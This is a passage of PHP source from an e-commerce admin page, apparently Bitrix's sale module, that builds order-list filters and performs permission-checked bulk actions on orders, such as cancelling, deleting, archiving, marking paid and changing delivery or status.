$arFilter[">=DATE_PAYED"] = trim($filter_date_paid_from);
}
if(strval(trim($filter_date_paid_to)) != '')
{
if($arDate = ParseDateTime($filter_date_paid_to, CSite::GetDateFormat("FULL", SITE_ID)))
{
if(StrLen($filter_date_paid_to) < 11)
{
$arDate["HH"] = 23;
$arDate["MI"] = 59;
$arDate["SS"] = 59;
}
$filter_date_paid_to = date($DB->DateFormatToPHP(CSite::GetDateFormat("FULL", SITE_ID)), mktime($arDate["HH"], $arDate["MI"], $arDate["SS"], $arDate["MM"], $arDate["DD"], $arDate["YYYY"]));
$arFilter["<=DATE_PAYED"] = $filter_date_paid_to;
}
else
{
$filter_date_paid_to = "";
}
}
if(strval(trim($filter_date_allow_delivery_from)) != '')
{
$arFilter[">=DATE_ALLOW_DELIVERY"] = trim($filter_date_allow_delivery_from);
}
if(strval(trim($filter_date_allow_delivery_to)) != '')
{
if($arDate = ParseDateTime($filter_date_allow_delivery_to, CSite::GetDateFormat("FULL", SITE_ID)))
{
if(StrLen($filter_date_allow_delivery_to) < 11)
{
$arDate["HH"] = 23;
$arDate["MI"] = 59;
$arDate["SS"] = 59;
}
$filter_date_allow_delivery_to = date($DB->DateFormatToPHP(CSite::GetDateFormat("FULL", SITE_ID)), mktime($arDate["HH"], $arDate["MI"], $arDate["SS"], $arDate["MM"], $arDate["DD"], $arDate["YYYY"]));
$arFilter["<=DATE_ALLOW_DELIVERY"] = $filter_date_allow_delivery_to;
}
else
{
$filter_date_allow_delivery_to = "";
}
}
if(strlen($filter_lang)>0 && $filter_lang!="NOT_REF") $arFilter["=LID"] = trim($filter_lang);
if(strlen($filter_currency)>0) $arFilter["CURRENCY"] = trim($filter_currency);
if (isset($filter_status) && !is_array($filter_status) && strlen($filter_status) > 0)
{
$filter_status = array($filter_status);
}
if (isset($filter_status) && is_array($filter_status) && count($filter_status) > 0)
{
foreach ($filter_status as $filterStatusIndex => $filterStatusValue)
{
$filterStatusValue = trim($filterStatusValue);
if (strval($filterStatusValue) != '')
{
$arFilter["=STATUS_ID"][] = $filterStatusValue;
}
}
}
if (strlen($filter_by_recommendation)>0) $arFilter["=BY_RECOMMENDATION"] = trim($filter_by_recommendation);
if(strlen($filter_date_status_from)>0) $arFilter[">=DATE_STATUS"] = trim($filter_date_status_from);
if(strlen($filter_date_status_to)>0)
{
if($arDate = ParseDateTime($filter_date_status_to, CSite::GetDateFormat("FULL", SITE_ID)))
{
if(StrLen($filter_date_status_to) < 11)
{
$arDate["HH"] = 23;
$arDate["MI"] = 59;
$arDate["SS"] = 59;
}
$filter_date_status_to = date($DB->DateFormatToPHP(CSite::GetDateFormat("FULL", SITE_ID)), mktime($arDate["HH"], $arDate["MI"], $arDate["SS"], $arDate["MM"], $arDate["DD"], $arDate["YYYY"]));
$arFilter["<=DATE_STATUS"] = $filter_date_status_to;
}
else
{
$filter_date_status_to = "";
}
}
if(strlen($filter_payed)>0) $arFilter["=PAYED"] = trim($filter_payed);
if(strlen($filter_canceled)>0) $arFilter["=CANCELED"] = trim($filter_canceled);
if(strlen($filter_deducted)>0) $arFilter["=DEDUCTED"] = trim($filter_deducted);
if(strlen($filter_allow_delivery)>0) $arFilter["=ALLOW_DELIVERY"] = trim($filter_allow_delivery);
if(strlen($filter_marked)>0) $arFilter["=MARKED"] = trim($filter_marked);
if(strlen($filter_buyer)>0) $arFilter["%BUYER"] = trim($filter_buyer);
if(strlen($filter_user_login)>0) $arFilter["USER.LOGIN"] = trim($filter_user_login);
if(strlen($filter_user_email)>0) $arFilter["USER.EMAIL"] = trim($filter_user_email);
if(IntVal($filter_user_id)>0) $arFilter["=USER_ID"] = IntVal($filter_user_id);
if(is_array($filter_group_id) && count($filter_group_id) > 0)
{
foreach($filter_group_id as $v)
{
if(IntVal($v) > 0)
$arFilter["USER_GROUP.GROUP_ID"][] = $v;
}
}
if(IntVal($filter_affiliate_id)>0) $arFilter["AFFILIATE_ID"] = IntVal($filter_affiliate_id);
if(strlen($filter_discount_coupon)>0) $arFilter["=ORDER_COUPONS.COUPON"] = trim($filter_discount_coupon);
if(floatval($filter_price_from)>0) $arFilter[">=PRICE"] = floatval($filter_price_from);
if(floatval($filter_price_to)>0) $arFilter["<=PRICE"] = floatval($filter_price_to);
if(strlen($filter_xml_id)>0) $arFilter["%XML_ID"] = trim($filter_xml_id);
if(strlen($filter_tracking_number)>0) $arFilter["%SHIPMENT.TRACKING_NUMBER"] = trim($filter_tracking_number);
if(strval(trim($filter_delivery_doc_date_from)) != '')
{
$arFilter[">=SHIPMENT.DELIVERY_DOC_DATE"] = trim($filter_delivery_doc_date_from);
}
if(strval(trim($filter_delivery_doc_date_to)) != '')
{
if($arDate = ParseDateTime($filter_delivery_doc_date_to, CSite::GetDateFormat("FULL", SITE_ID)))
{
if(StrLen($filter_delivery_doc_date_to) < 11)
{
$arDate["HH"] = 23;
$arDate["MI"] = 59;
$arDate["SS"] = 59;
}
$filter_delivery_doc_date_to = date($DB->DateFormatToPHP(CSite::GetDateFormat("FULL", SITE_ID)), mktime($arDate["HH"], $arDate["MI"], $arDate["SS"], $arDate["MM"], $arDate["DD"], $arDate["YYYY"]));
$arFilter["<=SHIPMENT.DELIVERY_DOC_DATE"] = $filter_delivery_doc_date_to;
}
else
{
$filter_delivery_doc_date_to = "";
}
}
if(isset($filter_universal) && strlen($filter_universal) > 0)
$arFilter["NAME_SEARCH"] = trim($filter_universal);
if(strlen($filter_account_number)>0) $arFilter["ACCOUNT_NUMBER"] = trim($filter_account_number);
if(strlen($filter_sum_paid) > 0)
{
if($filter_sum_paid == "Y")
$arFilter[">SUM_PAID"] = 0;
else
$arFilter["<=SUM_PAID"] = 0;
}
if(isset($filter_person_type) && is_array($filter_person_type) && count($filter_person_type) > 0)
{
foreach ($filter_person_type as $filterPersonTypeId)
{
if(intval($filterPersonTypeId) > 0)
$arFilter["=PERSON_TYPE_ID"][] = intval($filterPersonTypeId);
}
}
if(isset($filter_source) && $filter_source != 0)
{
if($filter_source == -1)
$arFilter["=SOURCE.TRADING_PLATFORM_ID"] = "";
else
$arFilter["=SOURCE.TRADING_PLATFORM_ID"] = $filter_source;
}
if(!empty($filter_pay_system) && is_array($filter_pay_system))
{
$whereExpression = "";
foreach ($filter_pay_system as $filterPaySystemId)
{
if(intval($filterPaySystemId) <= 0)
continue;
if($whereExpression == "")
$whereExpression .= "(";
else
$whereExpression .= " OR ";
$whereExpression .= "PAY_SYSTEM_ID = ".intval($filterPaySystemId);
}
if(strlen($whereExpression) > 0)
{
$whereExpression .= ")";
$runtimeFields["REQUIRED_PS_PRESENTED"] = array(
'data_type' => 'boolean',
'expression' => array(
'CASE WHEN EXISTS (SELECT ID FROM b_sale_order_payment WHERE ORDER_ID = %s AND '.$whereExpression.') THEN 1 ELSE 0 END',
'ID'
)
);
$arFilter["=REQUIRED_PS_PRESENTED"] = 1;
}
}
if(!empty($filter_tracking_number) && strlen($filter_tracking_number) > 0)
{
$runtimeFields["REQUIRED_PS_PRESENTED"] = array(
'data_type' => 'boolean',
'expression' => array(
'CASE WHEN EXISTS (SELECT ID FROM b_sale_order_payment WHERE ORDER_ID = %s AND '.$whereExpression.') THEN 1 ELSE 0 END',
'ID'
)
);
}
if(!empty($filter_delivery_service) && is_array($filter_delivery_service))
{
$countFilterDeliveryService = count($filter_delivery_service);
$whereExpression = "";
foreach ($filter_delivery_service as $filterDeliveryServiceId)
{
if(intval($filterDeliveryServiceId) <= 0)
continue;
if($whereExpression == "")
$whereExpression .= "(";
else
$whereExpression .= " OR ";
$whereExpression .= "DELIVERY_ID = ".intval($filterDeliveryServiceId);
}
if(strval($whereExpression) != "")
{
$whereExpression .= ")";
$runtimeFields["REQUIRED_DLV_PRESENTED"] = array(
'data_type' => 'boolean',
'expression' => array(
'CASE WHEN EXISTS (SELECT ID FROM b_sale_order_delivery WHERE ORDER_ID = %s AND SYSTEM="N" AND '.$whereExpression.') THEN 1 ELSE 0 END',
'ID'
)
);
$arFilter["=REQUIRED_DLV_PRESENTED"] = 1;
}
}
if(!empty($filter_product_id) || !empty($filter_product_xml_id))
{
$whereExpression = "";
if (intval($filter_product_id) > 0)
{
$whereExpression .= "(PRODUCT_ID = ".intval($filter_product_id);
}
if (strval(trim($filter_product_xml_id)) != "")
{
if($whereExpression == "")
$whereExpression .= "(";
else
$whereExpression .= " AND ";
/** @var \Bitrix\Main\DB\Connection $connection */
$connection = \Bitrix\Main\Application::getConnection();
/** @var \Bitrix\Main\DB\SqlHelper $sqlHelper */
$sqlHelper = $connection->getSqlHelper();
$whereExpression .= "PRODUCT_XML_ID = '".$sqlHelper->forSql($filter_product_xml_id)."'";
}
if(strval($whereExpression) != "")
{
$whereExpression .= ")";
$runtimeFields["REQUIRED_PRODUCT_PRESENTED"] = array(
'data_type' => 'boolean',
'expression' => array(
'CASE WHEN EXISTS (SELECT ID FROM b_sale_basket WHERE ORDER_ID = %s AND '.$whereExpression.') THEN 1 ELSE 0 END',
'ID'
)
);
$arFilter["=REQUIRED_PRODUCT_PRESENTED"] = 1;
}
}
$filterOrderPropValue = array();
$filterOrderProps = array();
foreach ($arOrderProps as $key => $value)
{
if($value["IS_FILTERED"] == "Y" && $value["TYPE"] != "MULTIPLE")
{
$tmp = trim(${"filter_prop_".$key});
if(StrLen($tmp) > 0)
{
if($value["TYPE"]=="STRING" && !preg_match("/^\d+$/", $tmp))
$filterName = "%PROPERTY_VALUE_".$key;
else
$filterName = "PROPERTY_VALUE_".$key;
$filterOrderProps[$filterName] = $tmp;
$filterOrderPropValue[$key] = $tmp;
}
}
}
foreach ($arOrderPropsCode as $key => $value)
{
if($value["IS_FILTERED"] == "Y" && $value["TYPE"] != "MULTIPLE")
{
$tmp = trim(${"filter_prop_".$key});
if(StrLen($tmp) > 0)
{
if($value["TYPE"]=="STRING" && !preg_match("/^\d+$/", $tmp))
$filterName = "%PROPERTY_VAL_BY_CODE_".$key;
else
$filterName = "PROPERTY_VAL_BY_CODE_".$key;
$filterOrderProps[$filterName] = $tmp;
$filterOrderPropValue[$key] = $tmp;
}
}
}
if($saleModulePermissions < "W")
{
if(strlen($filter_lang) <= 0 && count($arAccessibleSites) > 0)
$arFilter["=LID"] = $arAccessibleSites;
}
$allowedStatusesView = \Bitrix\Sale\OrderStatus::getStatusesUserCanDoOperations($intUserID, array('view'));
if($saleModulePermissions == "P")
{
$userCompanyList = Sale\Services\Company\Manager::getUserCompanyList($USER->GetID());
$arFilter[] = array(
"LOGIC" => "OR",
'=RESPONSIBLE_ID' => $USER->GetID(),
'=COMPANY_ID' => $userCompanyList,
);
$arSelectFields[] = 'RESPONSIBLE_ID';
$arSelectFields[] = 'COMPANY_ID';
}
$companyListNames = array();
$dbRes = \Bitrix\Sale\Services\Company\Manager::getList(array(
'select' => array('ID', 'NAME'),
'order' => array('NAME' => 'ASC')
));
while($row = $dbRes->fetch())
$companyListNames[$row['ID']] = htmlspecialcharsbx($row['NAME']);
if(intval($filter_company_id)>0) $arFilter["COMPANY_ID"] = intval($filter_company_id);
if(intval($filter_responsible_id)>0) $arFilter["RESPONSIBLE_ID"] = intval($filter_responsible_id);
if($saleModulePermissions < "W")
{
if(!$arFilter["=STATUS_ID"])
$arFilter["=STATUS_ID"] = array();
$intersected = array_intersect($arFilter["=STATUS_ID"], $allowedStatusesView);
if(!empty($arFilter["=STATUS_ID"]))
{
if(empty($intersected))
{
$arFilter[]["=STATUS_ID"] = $arFilter["=STATUS_ID"];
$arFilter[]["=STATUS_ID"] = $allowedStatusesView;
unset($arFilter["=STATUS_ID"], $arFilter["=STATUS_ID"]);
}
else
{
$arFilter["=STATUS_ID"] = $intersected;
}
}
else
{
$arFilter["=STATUS_ID"] = $allowedStatusesView;
}
}
if (!empty($_REQUEST['OID']) && is_array($_REQUEST['OID']))
{
foreach ($_REQUEST['OID'] as $orderId)
{
if (intval($orderId) > 0)
{
$arFilter['=ID'][] = intval($orderId);
}
}
}
$arFilterTmp = $arFilter;
if($lAdmin->EditAction() && $saleModulePermissions >= "U")
{
foreach ($FIELDS as $ID => $arFields)
{
$ID = (int)$ID;
$isOrderNeedSave = false;
if(!$lAdmin->IsUpdated($ID))
continue;
/** @var \Bitrix\Sale\Order $editOrder */
$editOrder = \Bitrix\Sale\Order::load($ID);
if($editOrder)
{
if(array_key_exists("CANCELED", $arFields)
&& ($arFields["CANCELED"] == "Y" || $arFields["CANCELED"] == "N")
&& $arFields["CANCELED"] != $editOrder->getField("CANCELED"))
{
if(CSaleOrder::CanUserCancelOrder($ID, $arUserGroups, $intUserID))
{
/** @var \Bitrix\Sale\Result $res */
$res = $editOrder->setField("CANCELED", $arFields["CANCELED"]);
if($res->isSuccess())
{
$isOrderNeedSave = true;
}
else
{
$errMessages = $res->getErrorMessages();
if(count($errMessages) > 0)
$lAdmin->AddUpdateError(implode("<br>\n", $errMessages), $ID);
else
$lAdmin->AddUpdateError(Loc::getMessage("SOA_ERROR_CANCEL"), $ID);
}
}
else
{
$lAdmin->AddUpdateError(Loc::getMessage("SOA_PERMS_CANCEL"), $ID);
}
}
$statusId = $editOrder->getField("STATUS_ID");
if(array_key_exists("STATUS_ID", $arFields)
&& strlen($arFields["STATUS_ID"]) > 0
&& $arFields["STATUS_ID"] != $statusId)
{
$statusesList = \Bitrix\Sale\OrderStatus::getAllowedUserStatuses(
$USER->GetID(),
\Bitrix\Sale\OrderStatus::getInitialStatus()
);
if(array_key_exists($statusId, $statusesList))
{
$res = $editOrder->setField("STATUS_ID", $arFields["STATUS_ID"]);
if($res->isSuccess())
{
$isOrderNeedSave = true;
}
else
{
$errMessages = $res->getErrorMessages();
if(count($errMessages) > 0)
$lAdmin->AddUpdateError(implode("<br>\n", $errMessages), $ID);
else
$lAdmin->AddUpdateError(Loc::getMessage("SOA_ERROR_STATUS"), $ID);
}
}
else
{
$lAdmin->AddUpdateError(Loc::getMessage("SOA_PERMS_STATUS"), $ID);
}
}
if($isOrderNeedSave)
{
$res = $editOrder->save();
Sale\Provider::resetTrustData($editOrder->getSiteId());
if(!$res->isSuccess())
{
$errMessages = $res->getErrorMessages();
if(count($errMessages) > 0)
$lAdmin->AddUpdateError(implode("<br>\n", $errMessages), $ID);
else
$lAdmin->AddUpdateError(Loc::getMessage("SOA_ERROR_CANCEL"), $ID);
}
}
}
else
{
$lAdmin->AddUpdateError(Loc::getMessage("SOA_NO_ORDER"), $ID);
}
}
}
$bShowBasketProps = ((string)\Bitrix\Main\Config\Option::get('sale', 'show_basket_props_in_order_list') == 'Y');
//Filters by foreign entities
//User params
if(isset($arFilterTmp["NAME_SEARCH"]) && strlen($arFilterTmp["NAME_SEARCH"]) > 0)
{
$nameSearch = $arFilterTmp["NAME_SEARCH"];
$arFilterTmp[] = array(
"LOGIC" => "OR",
"%USER.LOGIN" => $nameSearch,
"%USER.NAME" => $nameSearch,
"%USER.LAST_NAME" => $nameSearch,
"%USER.SECOND_NAME" => $nameSearch,
"%USER.EMAIL" => $nameSearch,
);
}
unset($arFilterTmp["NAME_SEARCH"]);
$propIterator = 0;
//Order props params
foreach ($arOrderPropsCode as $key => $value)
{
if($value["IS_FILTERED"] != "Y" || $value["TYPE"] == "MULTIPLE")
continue;
if(
(isset($filterOrderProps["PROPERTY_VAL_BY_CODE_".$key]) && strlen($filterOrderProps["PROPERTY_VAL_BY_CODE_".$key]) > 0)
|| (isset($filterOrderProps["%PROPERTY_VAL_BY_CODE_".$key]) && strlen($filterOrderProps["%PROPERTY_VAL_BY_CODE_".$key]) > 0)
)
{
$propIterator++;
$runtimeFields['PROP_'.$propIterator] = array(
'data_type' => 'Bitrix\Sale\Internals\OrderPropsValueTable',
'reference' => array(
'ref.ORDER_ID' => 'this.ID',
),
'join_type' => 'inner'
);
$arFilterTmp["=PROP_".$propIterator.".CODE"] = $key;
if (isset($filterOrderProps["%PROPERTY_VAL_BY_CODE_".$key]))
$arFilterTmp["?PROP_".$propIterator.".VALUE"] = $filterOrderPropValue[$key];
else
$arFilterTmp["PROP_".$propIterator.".VALUE"] = $filterOrderPropValue[$key];
}
}
foreach ($arOrderProps as $key => $value)
{
$propIterator++;
if($value["IS_FILTERED"] != "Y" || $value["TYPE"] == "MULTIPLE")
continue;
if(
(isset($filterOrderProps["PROPERTY_VALUE_".$key]) && strlen($filterOrderProps["PROPERTY_VALUE_".$key]) > 0)
|| (isset($filterOrderProps["%PROPERTY_VALUE_".$key]) && strlen($filterOrderProps["%PROPERTY_VALUE_".$key]) > 0)
)
{
$runtimeFields['PROP_'.$propIterator] = array(
'data_type' => 'Bitrix\Sale\Internals\OrderPropsValueTable',
'reference' => array(
'ref.ORDER_ID' => 'this.ID',
),
'join_type' => 'inner'
);
$arFilterTmp["=PROP_".$propIterator.".ORDER_PROPS_ID"] = $key;
if (isset($filterOrderProps["%PROPERTY_VALUE_".$key]))
$arFilterTmp["?PROP_".$propIterator.".VALUE"] = $filterOrderPropValue[$key];
else
$arFilterTmp["PROP_".$propIterator.".VALUE"] = $filterOrderPropValue[$key];
}
}
foreach(GetModuleEvents("sale", "OnOrderListFilter", true) as $arEvent)
$arFilterTmp = ExecuteModuleEventEx($arEvent, array($arFilterTmp));
$arID = array();
if(($arID = $lAdmin->GroupAction()) && $saleModulePermissions >= "P")
{
$arAffectedOrders = array();
$forAll =($_REQUEST['action_target'] == 'selected');
if($forAll)
{
$filter = $arFilterTmp;
$arID = array();
}
else
{
$filter = array(
"ID" => $arID,
"=STATUS_ID" => $allowedStatusesView
);
}
$dbOrderList = \Bitrix\Sale\Internals\OrderTable::getList(array(
'order' => array($by => $order),
'filter' => $filter,
'select' => array("ID", "PERSON_TYPE_ID", "PAYED", "CANCELED", "DEDUCTED", "STATUS_ID")
));
while ($arOrderList = $dbOrderList->fetch())
{
if($forAll)
$arID[] = $arOrderList['ID'];
$arAffectedOrders[$arOrderList["ID"]] = $arOrderList;
}
foreach ($arID as $ID)
{
if(strlen($ID) <= 0)
continue;
if($_REQUEST['action'] != "unlock" && substr($_REQUEST['action'], 0, strlen("status_")) != "status_")
{
/** @var \Bitrix\Sale\Order $saleOrder */
if(!($saleOrder = \Bitrix\Sale\Order::load($ID)))
{
$lAdmin->AddGroupError(Loc::getMessage("SO_NO_ORDER", array("#ID#" => $ID)));
continue;
}
}
if(CSaleOrder::IsLocked($ID, $lockedBY, $dateLock) && $_REQUEST['action'] != "unlock")
{
$lAdmin->AddGroupError(str_replace("#DATE#", "$dateLock", str_replace("#ID#", "$lockedBY", Loc::getMessage("SOE_ORDER_LOCKED"))), $ID);
}
else
{
$isOrderSaved = false;
switch ($_REQUEST['action'])
{
case "delete":
$allowedStatusesDelete = \Bitrix\Sale\OrderStatus::getStatusesUserCanDoOperations($intUserID, array('delete'));
if(!in_array($saleOrder->getField("STATUS_ID"), $allowedStatusesDelete))
{
$lAdmin->AddGroupError(Loc::getMessage("SO_NO_PERMS2DEL", array("#ID#" => $ID)), $ID);
break;
}
$res = \Bitrix\Sale\Order::delete($ID);
if(!$res->isSuccess())
$lAdmin->AddGroupError(implode("<br>\n", $res->getErrorMessages()));
break;
case "unlock":
CSaleOrder::UnLock($ID);
break;
case "cancel":
$allowedStatusesCancel = \Bitrix\Sale\OrderStatus::getStatusesUserCanDoOperations($intUserID, array('cancel'));
if(!in_array($saleOrder->getField("STATUS_ID"), $allowedStatusesCancel))
{
$lAdmin->AddGroupError(Loc::getMessage("SOA_PERMS_CANCEL_GROUP", array("#ID#" => $ID)), $ID);
break;
}
if($saleOrder->getField("CANCELED") == "Y")
{
$lAdmin->AddGroupError(Loc::getMessage("SOA_PERMS_CANCEL_GROUP_CANCEL", array("#ID#" => $ID)), $ID);
break;
}
/** @var \Bitrix\Sale\Result $res */
$res = $saleOrder->setField("CANCELED", "Y");
if(!$res->isSuccess())
{
$lAdmin->AddGroupError(implode("<br>\n", $res->getErrorMessages()), $ID);
break;
}
$isOrderSaved = true;
$res = $saleOrder->save();
if(!$res->isSuccess())
$lAdmin->AddGroupError(implode("<br>\n", $res->getErrorMessages()), $ID);
break;
case "cancel_n":
$allowedStatusesCancel = \Bitrix\Sale\OrderStatus::getStatusesUserCanDoOperations($intUserID, array('cancel'));
if(!in_array($saleOrder->getField("STATUS_ID"), $allowedStatusesCancel))
{
$lAdmin->AddGroupError(Loc::getMessage("SOA_PERMS_CANCEL_GROUP", array("#ID#" => $ID)), $ID);
break;
}
if($saleOrder->getField("CANCELED") == "N")
{
$lAdmin->AddGroupError(Loc::getMessage("SOA_PERMS_CANCEL_GROUP_CANCEL_N", array("#ID#" => $ID)), $ID);
break;
}
/** @var \Bitrix\Sale\Result $res */
$res = $saleOrder->setField("CANCELED", "N");
if(!$res->isSuccess())
{
$lAdmin->AddGroupError(implode("<br>\n", $res->getErrorMessages()), $ID);
break;
}
$isOrderSaved = true;
$res = $saleOrder->save();
if(!$res ->isSuccess())
$lAdmin->AddGroupError(implode("<br>\n", $res->getErrorMessages()), $ID);
break;
case "archive":
$allowedStatusesDelete = \Bitrix\Sale\OrderStatus::getStatusesUserCanDoOperations($intUserID, array('delete'));
if(!in_array($saleOrder->getField("STATUS_ID"), $allowedStatusesDelete))
{
$lAdmin->AddGroupError(Loc::getMessage("SO_NO_PERMS2ARCHIVE", array("#ID#" => $ID)), $ID);
break;
}
$result = Sale\Archive\Manager::archiveOrders(
array(
"ID" => array($ID)
));
if ($result->isSuccess())
{
$warnings = $result->getWarningMessages();
if (empty($warnings))
{
$lAdmin->AddActionSuccessMessage(Loc::getMessage("SO_ORDER_ARCHIVED", array("#ID#" => $ID)));
}
else
{
foreach ($warnings as $message)
$lAdmin->AddGroupError($message);
}
}
else
{
foreach ($result->getErrorMessages() as $error)
$lAdmin->AddGroupError($error);
}
break;
case "allow_delivery":
case "allow_delivery_n":
/** @var \Bitrix\Sale\Shipment $shipment */
foreach ($saleOrder->getShipmentCollection() as $shipment)
{
if(!$shipment->isSystem())
{
$shpMsg = Loc::getMessage(
'SALE_ORDER_SHIPMENT_N',
array(
'##ORDER_N##' => $saleOrder->getField('ACCOUNT_NUMBER'),
'##SHIPMENT_ID##' => $shipment->getId()
));
$allowedDeliveryStatusesUpdate = \Bitrix\Sale\DeliveryStatus::getStatusesUserCanDoOperations($USER->GetID(), array('update'));
$allowUpdate = in_array($shipment->getField("STATUS_ID"), $allowedDeliveryStatusesUpdate);
if(!$allowUpdate)
{
$lAdmin->AddGroupError(Loc::getMessage('SALE_SHIPMENT_ALLOW_DELIVERY_PERMS_ERR').'. '.$shpMsg);
continue;
}
if($_REQUEST['action'] == 'allow_delivery')
$setResult = $shipment->allowDelivery();
else
$setResult = $shipment->disallowDelivery();
if ($setResult->isSuccess())
{
$warnings = $setResult->getWarningMessages();
if (empty($warnings))
{
if($_REQUEST['action'] == 'allow_delivery')
$mess = Loc::getMessage('SOA_SHIPMENTS_ALLOW_DELIVERY');
else
$mess = Loc::getMessage('SOA_SHIPMENTS_NOT_ALLOW_DELIVERY');
$lAdmin->AddActionSuccessMessage($mess.'. '.$shpMsg);
}
else
{
foreach ($warnings as $message)
$lAdmin->AddGroupError($message.' '.$shpMsg);
}
$isOrderSaved = true;
$saveResult = $saleOrder->save();
if (!$saveResult->isSuccess())
$lAdmin->AddGroupError(join("\n", $saveResult->getErrorMessages()).' '.$shpMsg);
}
else
{
$serResultMessage = $setResult->getErrorMessages();
if (!empty($serResultMessage))
$lAdmin->AddGroupError(join("\n", $serResultMessage.' '.$shpMsg));
else
$lAdmin->AddGroupError(Loc::getMessage('SALE_SHIPMENT_ALLOW_DELIVERY_ERR').'. '.$shpMsg);
}
}
}
break;
case "deducted":
case "deducted_n":
/** @var \Bitrix\Sale\Shipment $shipment */
foreach ($saleOrder->getShipmentCollection() as $shipment)
{
if(!$shipment->isSystem())
{
$shpMsg = Loc::getMessage(
'SALE_ORDER_SHIPMENT_N',
array(
'##ORDER_N##' => $saleOrder->getField('ACCOUNT_NUMBER'),
'##SHIPMENT_ID##' => $shipment->getId()
));
$allowedDeliveryStatusesUpdate = \Bitrix\Sale\DeliveryStatus::getStatusesUserCanDoOperations($USER->GetID(), array('update'));
$allowUpdate = in_array($shipment->getField("STATUS_ID"), $allowedDeliveryStatusesUpdate);
if(!$allowUpdate)
{
$lAdmin->AddGroupError(Loc::getMessage('SALE_SHIPMENT_DEDUCTED_PERMS_ERR').'. '.$shpMsg);
continue;
}
$setResult = $shipment->setField('DEDUCTED', ($_REQUEST['action'] == 'deducted' ? 'Y' : 'N'));
if ($setResult->isSuccess())
{
$warningsList = array();
$hasErrors = false;
$warnings = $setResult->getWarningMessages();
$hasWarnings = false;
if (!empty($warnings))
{
foreach ($warnings as $message)
{
$warningsList[] = $message.' '.$shpMsg;
}
}
$isOrderSaved = true;
$saveResult = $saleOrder->save();
if (!$saveResult->isSuccess())
{
$hasErrors = true;
$lAdmin->AddGroupError(join("\n", $saveResult->getErrorMessages()).' '.$shpMsg);
}
if(empty($warnings) && !$hasErrors)
{
if($_REQUEST['action'] == 'deducted')
$mess = Loc::getMessage('SALE_SHIPMENT_DEDUCTED');
else
$mess = Loc::getMessage('SALE_SHIPMENT_DEDUCTED_N');
$lAdmin->AddActionSuccessMessage($mess.'. '.$shpMsg);
}
else
{
foreach ($warnings as $message)
{
$warningsList[] = $message.' '.$shpMsg;
}
$warningsList = array_unique($warningsList);
foreach ($warningsList as $warning)
{
$lAdmin->AddGroupError($warning);
}
}
}
else
{
$serResultMessage = $setResult->getErrorMessages();
if (!empty($serResultMessage))
$lAdmin->AddGroupError(join("\n", $serResultMessage).' '.$shpMsg);
else
$lAdmin->AddGroupError(Loc::getMessage('SALE_SHIPMENT_ALLOW_DELIVERY_ERR').'. '.$shpMsg);
if ($setResult->hasWarnings())
{
$isOrderSaved = true;
$saveResult = $saleOrder->save();
}
}
}
}
break;
case "update_payment_status":
/** @var \Bitrix\Sale\Payment $payment */
foreach ($saleOrder->getPaymentCollection() as $payment)
{
$payMsg = Loc::getMessage(
'SALE_ORDER_PAYMENT_N',
array(
'##ORDER_N##' => $saleOrder->getField('ACCOUNT_NUMBER'),
'##PAYMENT_ID##' => $payment->getId()
));
$allowedStatusesView = \Bitrix\Sale\OrderStatus::getStatusesUserCanDoOperations($USER->GetID(), array('view'));
$allowView = in_array($saleOrder->getField("STATUS_ID"), $allowedStatusesView);
if(!$allowView)
{
$lAdmin->AddGroupError(Loc::getMessage('SALE_UPDATE_PAYMENT_STATUS_PERMS_ERR').'. '.$payMsg);
continue;
}
/** @var Sale\PaySystem\Service $paySystem */
$paySystem = $payment->getPaySystem();
if(!$paySystem)
{
$lAdmin->AddGroupError(Loc::getMessage('SALE_UPDATE_PAYMENT_STATUS_PS_NOT_FOUND').'. '.$payMsg);
continue;
}
if(!$paySystem->isCheckable())
{
$lAdmin->AddActionSuccessMessage(
Loc::getMessage(
'SALE_UPDATE_PAYMENT_STATUS_PS_NOT_ABLE',
array('##PS_NAME##' => $paySystem->getField('NAME'))
).'. '.$payMsg
);
continue;
}
$setResult = $paySystem->check($payment);
if (!$setResult->isSuccess())
$lAdmin->AddGroupError(join('\n', $setResult->getErrorMessages()));
else
$lAdmin->AddActionSuccessMessage(Loc::getMessage('SALE_UPDATE_PAYMENT_STATUS_DONE').'. '.$payMsg);
}
break;
case "paid":
case "paid_n":
/** @var \Bitrix\Sale\Payment $payment */
foreach ($saleOrder->getPaymentCollection() as $payment)
{
$payMsg = Loc::getMessage(
'SALE_ORDER_PAYMENT_N',
array(
'##ORDER_N##' => $saleOrder->getField('ACCOUNT_NUMBER'),
'##PAYMENT_ID##' => $payment->getId()
));
$allowedStatusesUpdate = \Bitrix\Sale\OrderStatus::getStatusesUserCanDoOperations($USER->GetID(), array('update'));
$allowUpdate = in_array($saleOrder->getField("STATUS_ID"), $allowedStatusesUpdate);
if(!$allowUpdate)
{
$lAdmin->AddGroupError(Loc::getMessage('SALE_UPDATE_PAYMENT_STATUS_PERMS_ERR').'. '.$payMsg);
continue;
}
$res = $payment->setPaid($_REQUEST['action'] == 'paid' ? 'Y' : 'N');
if (!$res->isSuccess())
{
$lAdmin->AddGroupError(join("\n", $res->getErrorMessages()));
}
elseif ($res->hasWarnings())
{
$lAdmin->AddGroupError(join("\n", $res->getWarningMessages()));
}
else
{
$isOrderSaved = true;
$res = $saleOrder->save();
if (!$res->isSuccess())
{
$lAdmin->AddGroupError(join("\n", $res->getErrorMessages()));
}
else
{
if($_REQUEST['action'] == 'paid')
$msg = Loc::getMessage('SALE_ORDER_PAID_SUCCESS');
else
$msg = Loc::getMessage('SALE_ORDER_PAID_SUCCESS_N');
$lAdmin->AddActionSuccessMessage($msg.'. '.$payMsg);
}
}
}
break;
case "delivery_requests":
$shipmentIds = array();
$dbRes = Sale\Internals\ShipmentTable::getList(array(
'filter' => array('=ORDER_ID' => $arID, '!=SYSTEM' => 'Y'),
'select' => array('ID')
));
while($row = $dbRes->fetch())
$shipmentIds[] = $row['ID'];
$_SESSION["SALE_DELIVERY_REQUEST_SHIPMENT_IDS"] = $shipmentIds;
echo '<script>window.parent.location = "sale_delivery_request.php?lang='.LANGUAGE_ID.'";</script>';
die();
break;
default:
if(substr($_REQUEST['action'], 0, strlen("status_")) == "status_")
{
$statusID = substr($_REQUEST['action'], strlen("status_"));
if(strlen($statusID) > 0)
{
$resStatus = StatusTable::getList(array(
'select' => array('ID', 'NAME' => 'Bitrix\Sale\Internals\StatusLangTable:STATUS.NAME'),
'filter' => array(
'=Bitrix\Sale\Internals\StatusLangTable:STATUS.LID' => LANGUAGE_ID,
'=ID' => $statusID
),
));
if($arStatus = $resStatus->fetch())
{
$allowedStatusesTo = \Bitrix\Sale\OrderStatus::getStatusesUserCanDoOperations($intUserID, array('to'));
